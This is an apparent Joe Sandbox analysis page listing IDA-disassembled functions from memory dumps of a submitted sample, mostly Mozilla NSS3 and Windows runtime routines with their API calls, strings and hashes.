Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: c14ccbe5dde529859c1eba0bf70d3ec7af5c6fbbf82aeedeec5103e1f22408b6
Instruction ID: 27604bcdd64a4ddf24d0528074f19760230069f6999f59c86498a55e0733858d
Opcode Fuzzy Hash: c14ccbe5dde529859c1eba0bf70d3ec7af5c6fbbf82aeedeec5103e1f22408b6
Instruction Fuzzy Hash: 7C21A175209144EFDB20EF54DE8DA5A3BB1EB8331EF088534E54497B22DB349849CBA2

Function 6C7F0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C6D2357), ref: 6C7F0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C6D2357), ref: 6C7F0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C7F0EE6

Part of subcall function 6C7F09D0: PR_Now.NSS3 ref: 6C7F0A22
Part of subcall function 6C7F09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C7F0A35
Part of subcall function 6C7F09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C7F0A66
Part of subcall function 6C7F09D0: PR_GetCurrentThread.NSS3 ref: 6C7F0A70
Part of subcall function 6C7F09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C7F0A9D
Part of subcall function 6C7F09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C7F0AC8
Part of subcall function 6C7F09D0: PR_vsmprintf.NSS3(?,?), ref: 6C7F0AE8
Part of subcall function 6C7F09D0: EnterCriticalSection.KERNEL32(?), ref: 6C7F0B19
Part of subcall function 6C7F09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C7F0B48
Part of subcall function 6C7F09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C7F0C76
Part of subcall function 6C7F09D0: PR_LogFlush.NSS3 ref: 6C7F0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C7F0EFA

Part of subcall function 6C6DAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C6DAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7F0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7F0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7F0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7F0F2B

Strings

Aborting, xrefs: 6C7F0EB3
Assertion failure: %s, at %s:%d, xrefs: 6C7F0ED9, 6C7F0EE5, 6C7F0F06, 6C7F0F0B

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: e5e12f844af03d05e3d97cf023ff8d7d98793d00544ecf3ab7c50567e6a0c001
Instruction ID: 44c030a425905accd9b9a1ca7c18452a5a8ecc245cf3f0e38f0654573185eb5e
Opcode Fuzzy Hash: e5e12f844af03d05e3d97cf023ff8d7d98793d00544ecf3ab7c50567e6a0c001
Instruction Fuzzy Hash: 39F081BA9001247BDA226BA0DC4DC9B3E2DEF42269F004834FD0D56703EA35E955D6F2

Function 6C754DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C754DCB

Part of subcall function 6C740FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6E87ED,00000800,6C6DEF74,00000000), ref: 6C741000
Part of subcall function 6C740FF0: PR_NewLock.NSS3(?,00000800,6C6DEF74,00000000), ref: 6C741016
Part of subcall function 6C740FF0: PL_InitArenaPool.NSS3(00000000,security,6C6E87ED,00000008,?,00000800,6C6DEF74,00000000), ref: 6C74102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C754DE1

Part of subcall function 6C7410C0: TlsGetValue.KERNEL32(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C7410F3
Part of subcall function 6C7410C0: EnterCriticalSection.KERNEL32(?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74110C
Part of subcall function 6C7410C0: PL_ArenaAllocate.NSS3(?,?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C741141
Part of subcall function 6C7410C0: PR_Unlock.NSS3(?,?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C741182
Part of subcall function 6C7410C0: TlsGetValue.KERNEL32(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C754DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C754E59

Part of subcall function 6C73FAB0: free.MOZGLUE(?,-00000001,?,?,6C6DF673,00000000,00000000), ref: 6C73FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C81300C,00000000), ref: 6C754EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C754EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C754F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C75521A

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 41d3c80ae5ad5dd56734d9117c4db9f5a90d6095b86d001c2b36db2753aad2f5
Instruction ID: 6ef490fe647f634f394e623aed9105d938d7da1e5288345d66a5898540e54c77
Opcode Fuzzy Hash: 41d3c80ae5ad5dd56734d9117c4db9f5a90d6095b86d001c2b36db2753aad2f5
Instruction Fuzzy Hash: F7F19F71E00209CBDB04CF58E9407ADB7B2FF45358F658129E915AB781EB36E9A1CF90

Function 6C6E4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C830148,?,6C6F6FEC), ref: 6C6E502A
PR_NewLock.NSS3(00000001,00000000,6C830148,?,6C6F6FEC), ref: 6C6E5034
PL_NewHashTable.NSS3(00000000,6C73FE80,6C73FD30,6C78C350,00000000,00000000,00000001,00000000,6C830148,?,6C6F6FEC), ref: 6C6E5055
PL_NewHashTable.NSS3(00000000,6C73FE80,6C73FD30,6C78C350,00000000,00000000,?,00000001,00000000,6C830148,?,6C6F6FEC), ref: 6C6E506D

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: daac86f6ac14ec2be65c74c638c8ae2737f08b51f5f9c970e67540500abc5bc2
Instruction ID: 2b34652459cb38f4a03cf6679be6d2257822e845030b4f7fa175231b15d48968
Opcode Fuzzy Hash: daac86f6ac14ec2be65c74c638c8ae2737f08b51f5f9c970e67540500abc5bc2
Instruction Fuzzy Hash: AB3184B1B0F220DBDB20AA65884CB4737B8AB1776CF158136EA05C7A41E379A504CBE5

Function 6C62AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C62AC52
CreateFileMappingW.KERNEL32 ref: 6C62AC7D
GetSystemInfo.KERNEL32 ref: 6C62AC98
MapViewOfFile.KERNEL32 ref: 6C62ACB0
GetSystemInfo.KERNEL32 ref: 6C62ACCD
MapViewOfFile.KERNEL32 ref: 6C62AD05
UnmapViewOfFile.KERNEL32 ref: 6C62AD1C
CloseHandle.KERNEL32 ref: 6C62AD28
UnmapViewOfFile.KERNEL32 ref: 6C62AD37
CloseHandle.KERNEL32 ref: 6C62AD43
CloseHandle.KERNEL32 ref: 6C62AD67

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 58cefe539437607c0d999f308b4c7a5a9f55865fa748e966f6d933fa4391df99
Instruction ID: e56948ba5a78a12f7c6d10205341decc59dc553b84023f2c8cdc0697a498d8e0
Opcode Fuzzy Hash: 58cefe539437607c0d999f308b4c7a5a9f55865fa748e966f6d933fa4391df99
Instruction Fuzzy Hash: 78314FB19047058FDB00BF7DD68866EBBF0BF85305F018929E99986211EB749449CB96

Function 6C682E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C682F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C682FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C683005
memcpy.VCRUNTIME140(?,?,?), ref: 6C6830EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C683131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C683178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C683022, 6C683156, 6C683162, 6C68318A, 6C683196, 6C6831A2, 6C6831AE, 6C6831BA, 6C6831C6
%s at line %d of [%.10s], xrefs: 6C683171
database corruption, xrefs: 6C68316C

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 5990f355a1f584ce3f4f297b00989755e09eb02af020b0bf9679dcc76281b313
Instruction ID: ed04ae237013bf4e405c3b1d3f3de3db712b97eb7f7b7b528b228cacd25d64b8
Opcode Fuzzy Hash: 5990f355a1f584ce3f4f297b00989755e09eb02af020b0bf9679dcc76281b313
Instruction Fuzzy Hash: 17B1A2B0E062199BCB18CF9DC885AEEB7B1BF48704F144429E945B7B41D7749942CBB8

Function 6C716C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C716C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C716C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C716CA3

Part of subcall function 6C7FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C7FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C716CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C716CD5

Strings

pMechanism = 0x%p, xrefs: 6C716CD0
(CK_INVALID_HANDLE), xrefs: 6C716C9C
C_DigestInit, xrefs: 6C716C61
hSession = 0x%x, xrefs: 6C716C7E, 6C716C8E

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 8d85aea3e4fed34c5e21cd24e6fbd30cc27f538210a699dc75181e90990cfa7f
Instruction ID: ec0c1827700038e966ffa70b37987e1c87c24e373ac1114bc581d97fb35c3718
Opcode Fuzzy Hash: 8d85aea3e4fed34c5e21cd24e6fbd30cc27f538210a699dc75181e90990cfa7f
Instruction Fuzzy Hash: C721F530A091049BDB20AF559F8DB9A37B5EB4221DF088435E819D7F01DB34AA09CBD6

Function 6C6E0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C6E0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C6E0F84

Part of subcall function 6C73B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8118D0,?), ref: 6C73B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C6FF59B,6C80890C,?), ref: 6C6E0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C6E0FC1

Part of subcall function 6C740BE0: malloc.MOZGLUE(6C738D2D,?,00000000,?), ref: 6C740BF8
Part of subcall function 6C740BE0: TlsGetValue.KERNEL32(6C738D2D,?,00000000,?), ref: 6C740C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C6E0FDB
PR_CallOnce.NSS3(6C842AA4,6C7412D0), ref: 6C6E0FEF
PL_FreeArenaPool.NSS3(?), ref: 6C6E1001
PL_FinishArenaPool.NSS3(?), ref: 6C6E1009

Strings

security, xrefs: 6C6E0F5C

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 6f7f84214789cbfa5255c4c19f66aff7c88485f9a76e3ebcb1b8f2fcca22f166
Instruction ID: 7735fd3bd1a07279532ef8dcfc15bbe2104a27e81d6f7b17e9c6860ea97ed6b8
Opcode Fuzzy Hash: 6f7f84214789cbfa5255c4c19f66aff7c88485f9a76e3ebcb1b8f2fcca22f166
Instruction Fuzzy Hash: 4F21E371904204ABE7109F24DE48AAB77A4EF4575CF008929EC1897702FB31A65ADBD2

Function 6C6E6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C6E7D8F,6C6E7D8F,?,?), ref: 6C6E6DC8

Part of subcall function 6C73FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C73FE08
Part of subcall function 6C73FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C73FE1D
Part of subcall function 6C73FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C73FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C6E7D8F,?,?), ref: 6C6E6DD5

Part of subcall function 6C7410C0: TlsGetValue.KERNEL32(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C7410F3
Part of subcall function 6C7410C0: EnterCriticalSection.KERNEL32(?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74110C
Part of subcall function 6C7410C0: PL_ArenaAllocate.NSS3(?,?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C741141
Part of subcall function 6C7410C0: PR_Unlock.NSS3(?,?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C741182
Part of subcall function 6C7410C0: TlsGetValue.KERNEL32(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C808FA0,00000000,?,?,?,?,6C6E7D8F,?,?), ref: 6C6E6DF7

Part of subcall function 6C73B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8118D0,?), ref: 6C73B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C6E6E35

Part of subcall function 6C73FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C73FE29
Part of subcall function 6C73FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C73FE3D
Part of subcall function 6C73FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C73FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C6E6E4C

Part of subcall function 6C7410C0: PL_ArenaAllocate.NSS3(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C808FE0,00000000), ref: 6C6E6E82

Part of subcall function 6C6E6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C6EB21D,00000000,00000000,6C6EB219,?,6C6E6BFB,00000000,?,00000000,00000000,?,?,?,6C6EB21D), ref: 6C6E6B01
Part of subcall function 6C6E6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C6E6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C6E6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C6E6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C808FE0,00000000), ref: 6C6E6F6B
PR_SetError.NSS3(FFFFE005,00000000,6C6E7D8F,?,?), ref: 6C6E6FE1

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 25fae9a772370e9b2687b19ef69f4fe44d34639c54c3ea79c86ed907991c9877
Instruction ID: 5c95d2de86aaad564cac5a888fe0230a59b5277a3f52c8a0b76c0a817ed05972
Opcode Fuzzy Hash: 25fae9a772370e9b2687b19ef69f4fe44d34639c54c3ea79c86ed907991c9877
Instruction Fuzzy Hash: A171E471D1564A9FDB00CF15CE44BAA7BA5FF58308F15422AE908D7B12F730EA94CB94

Function 6C720FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C721057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C721085
PK11_GetAllTokens.NSS3 ref: 6C7210B1
free.MOZGLUE(?), ref: 6C721107
PR_SetError.NSS3(00000000,00000000), ref: 6C721172
free.MOZGLUE(?), ref: 6C721182
free.MOZGLUE(?), ref: 6C7211A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C7211C5

Part of subcall function 6C7252C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C6FEAC5,00000001), ref: 6C7252DF
Part of subcall function 6C7252C0: EnterCriticalSection.KERNEL32(?), ref: 6C7252F3
Part of subcall function 6C7252C0: PR_Unlock.NSS3(?), ref: 6C725358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7211D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7211F3

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 4ae5fc78b568689be8b58adc9f31867f6e8716dacb09c5e3fbb3b694c783590a
Instruction ID: 55858905f0921cf1877f939605bb20491f1473d2748ce948d93c6f590a5059a8
Opcode Fuzzy Hash: 4ae5fc78b568689be8b58adc9f31867f6e8716dacb09c5e3fbb3b694c783590a
Instruction Fuzzy Hash: 8D61A4B0E003459BEB10DFA4DA85BAAB7B5BF04348F144138ED19AB741E736ED45CBA1

Function 6C72ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AE10
EnterCriticalSection.KERNEL32(?,?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C70D079,00000000,00000001), ref: 6C72AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AE7F
TlsGetValue.KERNEL32(?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AEF1
free.MOZGLUE(6C70CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C70CDBB,?), ref: 6C72AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AF30

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 41774495d15dcf7635906c93c7cbe07b02eb0e7788f1aaed17b9e9b3872f2388
